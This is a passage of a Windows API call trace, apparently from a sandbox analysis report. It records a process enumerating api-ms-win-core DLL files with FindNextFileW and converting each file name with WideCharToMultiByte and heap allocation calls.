Size=0x40) returned 0x3ec120 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x3ec120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.592] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x3ec288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.592] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x3ec120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.593] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.593] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.593] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.593] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.593] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.594] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.594] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.594] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.594] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.595] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.595] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.595] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.595] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0026.595] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x3ec120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.596] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x3ec288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.596] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.596] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.596] RtlAllocateHeap 